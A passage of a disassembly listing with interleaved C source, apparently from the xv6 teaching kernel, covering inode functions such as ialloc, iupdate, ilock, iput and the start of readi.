%ax,%ax for(i = 0; i < NINODE; i++) { initsleeplock(&icache.inode[i].lock, "inode"); 80101480: 83 ec 08 sub $0x8,%esp 80101483: 68 32 74 10 80 push $0x80107432 80101488: 53 push %ebx 80101489: 81 c3 90 00 00 00 add $0x90,%ebx 8010148f: e8 6c 2f 00 00 call 80104400 <initsleeplock> iinit(int dev) { int i = 0; initlock(&icache.lock, "icache"); for(i = 0; i < NINODE; i++) { 80101494: 83 c4 10 add $0x10,%esp 80101497: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 8010149d: 75 e1 jne 80101480 <iinit+0x20> initsleeplock(&icache.inode[i].lock, "inode"); } readsb(dev, &sb); 8010149f: 83 ec 08 sub $0x8,%esp 801014a2: 68 c0 09 11 80 push $0x801109c0 801014a7: ff 75 08 pushl 0x8(%ebp) 801014aa: e8 71 ff ff ff call 80101420 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014af: ff 35 d8 09 11 80 pushl 0x801109d8 801014b5: ff 35 d4 09 11 80 pushl 0x801109d4 801014bb: ff 35 d0 09 11 80 pushl 0x801109d0 801014c1: ff 35 cc 09 11 80 pushl 0x801109cc 801014c7: ff 35 c8 09 11 80 pushl 0x801109c8 801014cd: ff 35 c4 09 11 80 pushl 0x801109c4 801014d3: ff 35 c0 09 11 80 pushl 0x801109c0 801014d9: 68 98 74 10 80 push $0x80107498 801014de: e8 7d f1 ff ff call 80100660 <cprintf> inodestart %d bmap start %d\n", sb.size, sb.nblocks, sb.ninodes, sb.nlog, sb.logstart, sb.inodestart, sb.bmapstart); } 801014e3: 83 c4 30 add $0x30,%esp 801014e6: 8b 5d fc mov -0x4(%ebp),%ebx 801014e9: c9 leave 801014ea: c3 ret 801014eb: 90 nop 801014ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801014f0 <ialloc>: // Allocate an inode on device dev. // Mark it as allocated by giving it type type. // Returns an unlocked but allocated and referenced inode. struct inode* ialloc(uint dev, short type) { 801014f0: 55 push %ebp 801014f1: 89 e5 mov %esp,%ebp 801014f3: 57 push %edi 801014f4: 56 push %esi 801014f5: 53 push %ebx 801014f6: 83 ec 1c sub $0x1c,%esp int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 801014f9: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 // Allocate an inode on device dev. // Mark it as allocated by giving it type type. // Returns an unlocked but allocated and referenced inode. struct inode* ialloc(uint dev, short type) { 80101500: 8b 45 0c mov 0xc(%ebp),%eax 80101503: 8b 75 08 mov 0x8(%ebp),%esi 80101506: 89 45 e4 mov %eax,-0x1c(%ebp) int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101509: 0f 86 91 00 00 00 jbe 801015a0 <ialloc+0xb0> 8010150f: bb 01 00 00 00 mov $0x1,%ebx 80101514: eb 21 jmp 80101537 <ialloc+0x47> 80101516: 8d 76 00 lea 0x0(%esi),%esi 80101519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); } brelse(bp); 80101520: 83 ec 0c sub $0xc,%esp { int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101523: 83 c3 01 add $0x1,%ebx dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); } brelse(bp); 80101526: 57 push %edi 80101527: e8 b4 ec ff ff call 801001e0 <brelse> { int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 8010152c: 83 c4 10 add $0x10,%esp 8010152f: 39 1d c8 09 11 80 cmp %ebx,0x801109c8 80101535: 76 69 jbe 801015a0 <ialloc+0xb0> bp = bread(dev, IBLOCK(inum, sb)); 80101537: 89 d8 mov %ebx,%eax 80101539: 83 ec 08 sub $0x8,%esp 8010153c: c1 e8 03 shr $0x3,%eax 8010153f: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101545: 50 push %eax 80101546: 56 push %esi 80101547: e8 84 eb ff ff call 801000d0 <bread> 8010154c: 89 c7 mov %eax,%edi dip = (struct dinode*)bp->data + inum%IPB; 8010154e: 89 d8 mov %ebx,%eax if(dip->type == 0){ // a free inode 80101550: 83 c4 10 add $0x10,%esp struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ bp = bread(dev, IBLOCK(inum, sb)); dip = (struct dinode*)bp->data + inum%IPB; 80101553: 83 e0 07 and $0x7,%eax 80101556: c1 e0 06 shl $0x6,%eax 80101559: 8d 4c 07 5c lea 0x5c(%edi,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010155d: 66 83 39 00 cmpw $0x0,(%ecx) 80101561: 75 bd jne 80101520 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101563: 83 ec 04 sub $0x4,%esp 80101566: 89 4d e0 mov %ecx,-0x20(%ebp) 80101569: 6a 40 push $0x40 8010156b: 6a 00 push $0x0 8010156d: 51 push %ecx 8010156e: e8 1d 32 00 00 call 80104790 <memset> dip->type = type; 80101573: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax 80101577: 8b 4d e0 mov -0x20(%ebp),%ecx 8010157a: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 8010157d: 89 3c 24 mov %edi,(%esp) 80101580: e8 9b 17 00 00 call 80102d20 <log_write> brelse(bp); 80101585: 89 3c 24 mov %edi,(%esp) 80101588: e8 53 ec ff ff call 801001e0 <brelse> return iget(dev, inum); 8010158d: 83 c4 10 add $0x10,%esp } brelse(bp); } panic("ialloc: no inodes"); } 80101590: 8d 65 f4 lea -0xc(%ebp),%esp if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); 80101593: 89 da mov %ebx,%edx 80101595: 89 f0 mov %esi,%eax } brelse(bp); } panic("ialloc: no inodes"); } 80101597: 5b pop %ebx 80101598: 5e pop %esi 80101599: 5f pop %edi 8010159a: 5d pop %ebp if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); 8010159b: e9 e0 fc ff ff jmp 80101280 <iget> } brelse(bp); } panic("ialloc: no inodes"); 801015a0: 83 ec 0c sub $0xc,%esp 801015a3: 68 38 74 10 80 push $0x80107438 801015a8: e8 c3 ed ff ff call 80100370 <panic> 801015ad: 8d 76 00 lea 0x0(%esi),%esi 801015b0 <iupdate>: // Must be called after every change to an ip->xxx field // that lives on disk, since i-node cache is write-through. // Caller must hold ip->lock. void iupdate(struct inode *ip) { 801015b0: 55 push %ebp 801015b1: 89 e5 mov %esp,%ebp 801015b3: 56 push %esi 801015b4: 53 push %ebx 801015b5: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015b8: 83 ec 08 sub $0x8,%esp 801015bb: 8b 43 04 mov 0x4(%ebx),%eax dip->type = ip->type; dip->major = ip->major; dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015be: 83 c3 5c add $0x5c,%ebx iupdate(struct inode *ip) { struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015c1: c1 e8 03 shr $0x3,%eax 801015c4: 03 05 d4 09 11 80 add 0x801109d4,%eax 801015ca: 50 push %eax 801015cb: ff 73 a4 pushl -0x5c(%ebx) 801015ce: e8 fd ea ff ff call 801000d0 <bread> 801015d3: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801015d5: 8b 43 a8 mov -0x58(%ebx),%eax dip->type = ip->type; 801015d8: 0f b7 53 f4 movzwl -0xc(%ebx),%edx dip->major = ip->major; dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015dc: 83 c4 0c add $0xc,%esp { struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; 801015df: 83 e0 07 and $0x7,%eax 801015e2: c1 e0 06 shl $0x6,%eax 801015e5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax dip->type = ip->type; 801015e9: 66 89 10 mov %dx,(%eax) dip->major = ip->major; 801015ec: 0f b7 53 f6 movzwl -0xa(%ebx),%edx dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015f0: 83 c0 0c add $0xc,%eax struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; dip->type = ip->type; dip->major = ip->major; 801015f3: 66 89 50 f6 mov %dx,-0xa(%eax) dip->minor = ip->minor; 801015f7: 0f b7 53 f8 movzwl -0x8(%ebx),%edx 801015fb: 66 89 50 f8 mov %dx,-0x8(%eax) dip->nlink = ip->nlink; 801015ff: 0f b7 53 fa movzwl -0x6(%ebx),%edx 80101603: 66 89 50 fa mov %dx,-0x6(%eax) dip->size = ip->size; 80101607: 8b 53 fc mov -0x4(%ebx),%edx 8010160a: 89 50 fc mov %edx,-0x4(%eax) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010160d: 6a 34 push $0x34 8010160f: 53 push %ebx 80101610: 50 push %eax 80101611: e8 2a 32 00 00 call 80104840 <memmove> log_write(bp); 80101616: 89 34 24 mov %esi,(%esp) 80101619: e8 02 17 00 00 call 80102d20 <log_write> brelse(bp); 8010161e: 89 75 08 mov %esi,0x8(%ebp) 80101621: 83 c4 10 add $0x10,%esp } 80101624: 8d 65 f8 lea -0x8(%ebp),%esp 80101627: 5b pop %ebx 80101628: 5e pop %esi 80101629: 5d pop %ebp dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); log_write(bp); brelse(bp); 8010162a: e9 b1 eb ff ff jmp 801001e0 <brelse> 8010162f: 90 nop 80101630 <idup>: // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { 80101630: 55 push %ebp 80101631: 89 e5 mov %esp,%ebp 80101633: 53 push %ebx 80101634: 83 ec 10 sub $0x10,%esp 80101637: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010163a: 68 e0 09 11 80 push $0x801109e0 8010163f: e8 4c 30 00 00 call 80104690 <acquire> ip->ref++; 80101644: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 80101648: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010164f: e8 ec 30 00 00 call 80104740 <release> return ip; } 80101654: 89 d8 mov %ebx,%eax 80101656: 8b 5d fc mov -0x4(%ebp),%ebx 80101659: c9 leave 8010165a: c3 ret 8010165b: 90 nop 8010165c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101660 <ilock>: // Lock the given inode. // Reads the inode from disk if necessary. void ilock(struct inode *ip) { 80101660: 55 push %ebp 80101661: 89 e5 mov %esp,%ebp 80101663: 56 push %esi 80101664: 53 push %ebx 80101665: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf *bp; struct dinode *dip; if(ip == 0 || ip->ref < 1) 80101668: 85 db test %ebx,%ebx 8010166a: 0f 84 b7 00 00 00 je 80101727 <ilock+0xc7> 80101670: 8b 53 08 mov 0x8(%ebx),%edx 80101673: 85 d2 test %edx,%edx 80101675: 0f 8e ac 00 00 00 jle 80101727 <ilock+0xc7> panic("ilock"); acquiresleep(&ip->lock); 8010167b: 8d 43 0c lea 0xc(%ebx),%eax 8010167e: 83 ec 0c sub $0xc,%esp 80101681: 50 push %eax 80101682: e8 b9 2d 00 00 call 80104440 <acquiresleep> if(ip->valid == 0){ 80101687: 8b 43 4c mov 0x4c(%ebx),%eax 8010168a: 83 c4 10 add $0x10,%esp 8010168d: 85 c0 test %eax,%eax 8010168f: 74 0f je 801016a0 <ilock+0x40> brelse(bp); ip->valid = 1; if(ip->type == 0) panic("ilock: no type"); } } 80101691: 8d 65 f8 lea -0x8(%ebp),%esp 80101694: 5b pop %ebx 80101695: 5e pop %esi 80101696: 5d pop %ebp 80101697: c3 ret 80101698: 90 nop 80101699: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi panic("ilock"); acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016a0: 8b 43 04 mov 0x4(%ebx),%eax 801016a3: 83 ec 08 sub $0x8,%esp 801016a6: c1 e8 03 shr $0x3,%eax 801016a9: 03 05 d4 09 11 80 add 0x801109d4,%eax 801016af: 50 push %eax 801016b0: ff 33 pushl (%ebx) 801016b2: e8 19 ea ff ff call 801000d0 <bread> 801016b7: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801016b9: 8b 43 04 mov 0x4(%ebx),%eax ip->type = dip->type; ip->major = dip->major; ip->minor = dip->minor; ip->nlink = dip->nlink; ip->size = dip->size; memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016bc: 83 c4 0c add $0xc,%esp acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; 801016bf: 83 e0 07 and $0x7,%eax 801016c2: c1 e0 06 shl $0x6,%eax 801016c5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax ip->type = dip->type; 801016c9: 0f b7 10 movzwl (%eax),%edx ip->major = dip->major; ip->minor = dip->minor; ip->nlink = dip->nlink; ip->size = dip->size; memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016cc: 83 c0 0c add $0xc,%eax acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; ip->type = dip->type; 801016cf: 66 89 53 50 mov %dx,0x50(%ebx) ip->major = dip->major; 801016d3: 0f b7 50 f6 movzwl -0xa(%eax),%edx 801016d7: 66 89 53 52 mov %dx,0x52(%ebx) ip->minor = dip->minor; 801016db: 0f b7 50 f8 movzwl -0x8(%eax),%edx 801016df: 66 89 53 54 mov %dx,0x54(%ebx) ip->nlink = dip->nlink; 801016e3: 0f b7 50 fa movzwl -0x6(%eax),%edx 801016e7: 66 89 53 56 mov %dx,0x56(%ebx) ip->size = dip->size; 801016eb: 8b 50 fc mov -0x4(%eax),%edx 801016ee: 89 53 58 mov %edx,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016f1: 6a 34 push $0x34 801016f3: 50 push %eax 801016f4: 8d 43 5c lea 0x5c(%ebx),%eax 801016f7: 50 push %eax 801016f8: e8 43 31 00 00 call 80104840 <memmove> brelse(bp); 801016fd: 89 34 24 mov %esi,(%esp) 80101700: e8 db ea ff ff call 801001e0 <brelse> ip->valid = 1; if(ip->type == 0) 80101705: 83 c4 10 add $0x10,%esp 80101708: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->minor = dip->minor; ip->nlink = dip->nlink; ip->size = dip->size; memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); brelse(bp); ip->valid = 1; 8010170d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101714: 0f 85 77 ff ff ff jne 80101691 <ilock+0x31> panic("ilock: no type"); 8010171a: 83 ec 0c sub $0xc,%esp 8010171d: 68 50 74 10 80 push $0x80107450 80101722: e8 49 ec ff ff call 80100370 <panic> { struct buf *bp; struct dinode *dip; if(ip == 0 || ip->ref < 1) panic("ilock"); 80101727: 83 ec 0c sub $0xc,%esp 8010172a: 68 4a 74 10 80 push $0x8010744a 8010172f: e8 3c ec ff ff call 80100370 <panic> 80101734: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010173a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101740 <iunlock>: } // Unlock the given inode. void iunlock(struct inode *ip) { 80101740: 55 push %ebp 80101741: 89 e5 mov %esp,%ebp 80101743: 56 push %esi 80101744: 53 push %ebx 80101745: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 80101748: 85 db test %ebx,%ebx 8010174a: 74 28 je 80101774 <iunlock+0x34> 8010174c: 8d 73 0c lea 0xc(%ebx),%esi 8010174f: 83 ec 0c sub $0xc,%esp 80101752: 56 push %esi 80101753: e8 88 2d 00 00 call 801044e0 <holdingsleep> 80101758: 83 c4 10 add $0x10,%esp 8010175b: 85 c0 test %eax,%eax 8010175d: 74 15 je 80101774 <iunlock+0x34> 8010175f: 8b 43 08 mov 0x8(%ebx),%eax 80101762: 85 c0 test %eax,%eax 80101764: 7e 0e jle 80101774 <iunlock+0x34> panic("iunlock"); releasesleep(&ip->lock); 80101766: 89 75 08 mov %esi,0x8(%ebp) } 80101769: 8d 65 f8 lea -0x8(%ebp),%esp 8010176c: 5b pop %ebx 8010176d: 5e pop %esi 8010176e: 5d pop %ebp iunlock(struct inode *ip) { if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) panic("iunlock"); releasesleep(&ip->lock); 8010176f: e9 2c 2d 00 00 jmp 801044a0 <releasesleep> // Unlock the given inode. void iunlock(struct inode *ip) { if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) panic("iunlock"); 80101774: 83 ec 0c sub $0xc,%esp 80101777: 68 5f 74 10 80 push $0x8010745f 8010177c: e8 ef eb ff ff call 80100370 <panic> 80101781: eb 0d jmp 80101790 <iput> 80101783: 90 nop 80101784: 90 nop 80101785: 90 nop 80101786: 90 nop 80101787: 90 nop 80101788: 90 nop 80101789: 90 nop 8010178a: 90 nop 8010178b: 90 nop 8010178c: 90 nop 8010178d: 90 nop 8010178e: 90 nop 8010178f: 90 nop 80101790 <iput>: // to it, free the inode (and its content) on disk. // All calls to iput() must be inside a transaction in // case it has to free the inode. void iput(struct inode *ip) { 80101790: 55 push %ebp 80101791: 89 e5 mov %esp,%ebp 80101793: 57 push %edi 80101794: 56 push %esi 80101795: 53 push %ebx 80101796: 83 ec 28 sub $0x28,%esp 80101799: 8b 75 08 mov 0x8(%ebp),%esi acquiresleep(&ip->lock); 8010179c: 8d 7e 0c lea 0xc(%esi),%edi 8010179f: 57 push %edi 801017a0: e8 9b 2c 00 00 call 80104440 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017a5: 8b 56 4c mov 0x4c(%esi),%edx 801017a8: 83 c4 10 add $0x10,%esp 801017ab: 85 d2 test %edx,%edx 801017ad: 74 07 je 801017b6 <iput+0x26> 801017af: 66 83 7e 56 00 cmpw $0x0,0x56(%esi) 801017b4: 74 32 je 801017e8 <iput+0x58> ip->type = 0; iupdate(ip); ip->valid = 0; } } releasesleep(&ip->lock); 801017b6: 83 ec 0c sub $0xc,%esp 801017b9: 57 push %edi 801017ba: e8 e1 2c 00 00 call 801044a0 <releasesleep> acquire(&icache.lock); 801017bf: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801017c6: e8 c5 2e 00 00 call 80104690 <acquire> ip->ref--; 801017cb: 83 6e 08 01 subl $0x1,0x8(%esi) release(&icache.lock); 801017cf: 83 c4 10 add $0x10,%esp 801017d2: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 801017d9: 8d 65 f4 lea -0xc(%ebp),%esp 801017dc: 5b pop %ebx 801017dd: 5e pop %esi 801017de: 5f pop %edi 801017df: 5d pop %ebp } releasesleep(&ip->lock); acquire(&icache.lock); ip->ref--; release(&icache.lock); 801017e0: e9 5b 2f 00 00 jmp 80104740 <release> 801017e5: 8d 76 00 lea 0x0(%esi),%esi void iput(struct inode *ip) { acquiresleep(&ip->lock); if(ip->valid && ip->nlink == 0){ acquire(&icache.lock); 801017e8: 83 ec 0c sub $0xc,%esp 801017eb: 68 e0 09 11 80 push $0x801109e0 801017f0: e8 9b 2e 00 00 call 80104690 <acquire> int r = ip->ref; 801017f5: 8b 5e 08 mov 0x8(%esi),%ebx release(&icache.lock); 801017f8: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801017ff: e8 3c 2f 00 00 call 80104740 <release> if(r == 1){ 80101804: 83 c4 10 add $0x10,%esp 80101807: 83 fb 01 cmp $0x1,%ebx 8010180a: 75 aa jne 801017b6 <iput+0x26> 8010180c: 8d 8e 8c 00 00 00 lea 0x8c(%esi),%ecx 80101812: 89 7d e4 mov %edi,-0x1c(%ebp) 80101815: 8d 5e 5c lea 0x5c(%esi),%ebx 80101818: 89 cf mov %ecx,%edi 8010181a: eb 0b jmp 80101827 <iput+0x97> 8010181c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101820: 83 c3 04 add $0x4,%ebx { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101823: 39 fb cmp %edi,%ebx 80101825: 74 19 je 80101840 <iput+0xb0> if(ip->addrs[i]){ 80101827: 8b 13 mov (%ebx),%edx 80101829: 85 d2 test %edx,%edx 8010182b: 74 f3 je 80101820 <iput+0x90> bfree(ip->dev, ip->addrs[i]); 8010182d: 8b 06 mov (%esi),%eax 8010182f: e8 cc f8 ff ff call 80101100 <bfree> ip->addrs[i] = 0; 80101834: c7 03 00 00 00 00 movl $0x0,(%ebx) 8010183a: eb e4 jmp 80101820 <iput+0x90> 8010183c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } if(ip->addrs[NDIRECT]){ 80101840: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax 80101846: 8b 7d e4 mov -0x1c(%ebp),%edi 80101849: 85 c0 test %eax,%eax 8010184b: 75 33 jne 80101880 <iput+0xf0> bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; iupdate(ip); 8010184d: 83 ec 0c sub $0xc,%esp brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 80101850: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi) iupdate(ip); 80101857: 56 push %esi 80101858: e8 53 fd ff ff call 801015b0 <iupdate> int r = ip->ref; release(&icache.lock); if(r == 1){ // inode has no links and no other references: truncate and free. itrunc(ip); ip->type = 0; 8010185d: 31 c0 xor %eax,%eax 8010185f: 66 89 46 50 mov %ax,0x50(%esi) iupdate(ip); 80101863: 89 34 24 mov %esi,(%esp) 80101866: e8 45 fd ff ff call 801015b0 <iupdate> ip->valid = 0; 8010186b: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) 80101872: 83 c4 10 add $0x10,%esp 80101875: e9 3c ff ff ff jmp 801017b6 <iput+0x26> 8010187a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ip->addrs[i] = 0; } } if(ip->addrs[NDIRECT]){ bp = bread(ip->dev, ip->addrs[NDIRECT]); 80101880: 83 ec 08 sub $0x8,%esp 80101883: 50 push %eax 80101884: ff 36 pushl (%esi) 80101886: e8 45 e8 ff ff call 801000d0 <bread> 8010188b: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx 80101891: 89 7d e0 mov %edi,-0x20(%ebp) 80101894: 89 45 e4 mov %eax,-0x1c(%ebp) a = (uint*)bp->data; 80101897: 8d 58 5c lea 0x5c(%eax),%ebx 8010189a: 83 c4 10 add $0x10,%esp 8010189d: 89 cf mov %ecx,%edi 8010189f: eb 0e jmp 801018af <iput+0x11f> 801018a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801018a8: 83 c3 04 add $0x4,%ebx for(j = 0; j < NINDIRECT; j++){ 801018ab: 39 fb cmp %edi,%ebx 801018ad: 74 0f je 801018be <iput+0x12e> if(a[j]) 801018af: 8b 13 mov (%ebx),%edx 801018b1: 85 d2 test %edx,%edx 801018b3: 74 f3 je 801018a8 <iput+0x118> bfree(ip->dev, a[j]); 801018b5: 8b 06 mov (%esi),%eax 801018b7: e8 44 f8 ff ff call 80101100 <bfree> 801018bc: eb ea jmp 801018a8 <iput+0x118> } brelse(bp); 801018be: 83 ec 0c sub $0xc,%esp 801018c1: ff 75 e4 pushl -0x1c(%ebp) 801018c4: 8b 7d e0 mov -0x20(%ebp),%edi 801018c7: e8 14 e9 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801018cc: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx 801018d2: 8b 06 mov (%esi),%eax 801018d4: e8 27 f8 ff ff call 80101100 <bfree> ip->addrs[NDIRECT] = 0; 801018d9: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi) 801018e0: 00 00 00 801018e3: 83 c4 10 add $0x10,%esp 801018e6: e9 62 ff ff ff jmp 8010184d <iput+0xbd> 801018eb: 90 nop 801018ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801018f0 <iunlockput>: } // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { 801018f0: 55 push %ebp 801018f1: 89 e5 mov %esp,%ebp 801018f3: 53 push %ebx 801018f4: 83 ec 10 sub $0x10,%esp 801018f7: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 801018fa: 53 push %ebx 801018fb: e8 40 fe ff ff call 80101740 <iunlock> iput(ip); 80101900: 89 5d 08 mov %ebx,0x8(%ebp) 80101903: 83 c4 10 add $0x10,%esp } 80101906: 8b 5d fc mov -0x4(%ebp),%ebx 80101909: c9 leave // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); iput(ip); 8010190a: e9 81 fe ff ff jmp 80101790 <iput> 8010190f: 90 nop 80101910 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101910: 55 push %ebp 80101911: 89 e5 mov %esp,%ebp 80101913: 8b 55 08 mov 0x8(%ebp),%edx 80101916: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101919: 8b 0a mov (%edx),%ecx 8010191b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010191e: 8b 4a 04 mov 0x4(%edx),%ecx 80101921: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101924: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101928: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010192b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010192f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101933: 8b 52 58 mov 0x58(%edx),%edx 80101936: 89 50 10 mov %edx,0x10(%eax) } 80101939: 5d pop %ebp 8010193a: c3 ret 8010193b: 90 nop 8010193c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101940 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101940: 55 push %ebp 80101941: 89 e5 mov %esp,%ebp 80101943: 57 push %edi 80101944: 56 push %esi 80101945: 53 push %ebx 80101946: 83 ec 1c sub $0x1c,%esp 80101949: 8b 45 08 mov 0x8(%ebp),%eax 8010194c: 8b 7d 0c mov 0xc(%ebp),%edi 8010194f: 8b 75 10 mov 0x10(%ebp),%esi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101952: 66 83 78 50 03 cmpw $0x3,0x50(%eax) //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101957: 89 7d e0 mov %edi,-0x20(%ebp) 8010195a: 8b 7d 14 mov 0x14(%ebp),%edi 8010195d: 89 45 d8 mov %eax,-0x28(%ebp) 80101960: 89 7d e4 mov %edi,-0x1c(%ebp) uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101963: 0f 84 a7 00 00 00 je 80101a10 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101969: 8b 45 d8 mov -0x28(%ebp),%eax 8010196c: 8b 40 58 mov 0x58(%eax),%eax 8010196f: 39 f0 cmp %esi,%eax 80101971: 0f 82 c1 00 00 00 jb 80101a38 <readi+0xf8> 80101977: 8b 7d e4 mov -0x1c(%ebp),%edi 8010197a: 89 fa mov %edi,%edx 8010197c: 01 f2 add %esi,%edx 8010197e: 0f 82 b4 00 00 00 jb 80101a38 <readi+0xf8> return -1; if(off + n > ip->size) n = ip->size - off; 80101984: 89 c1 mov %eax,%ecx 80101986: 29 f1 sub %esi,%ecx 80101988: 39 d0 cmp %edx,%eax 8010198a: 0f 43 cf cmovae %edi,%ecx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 8010198d: 31 ff xor %edi,%edi 8010198f: 85 c9 test %ecx,%ecx } if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; 80101991: 89 4d e4 mov %ecx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101994: 74 6d je 80101a03 <readi+0xc3> 80101996: 8d 76 00 lea 0x0(%esi),%esi 80101999: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019a0: 8b 5d d8 mov -0x28(%ebp),%ebx 801019a3: 89 f2 mov %esi,%edx 801019a5: c1 ea 09 shr $0x9,%edx 801019a8: 89 d8 mov 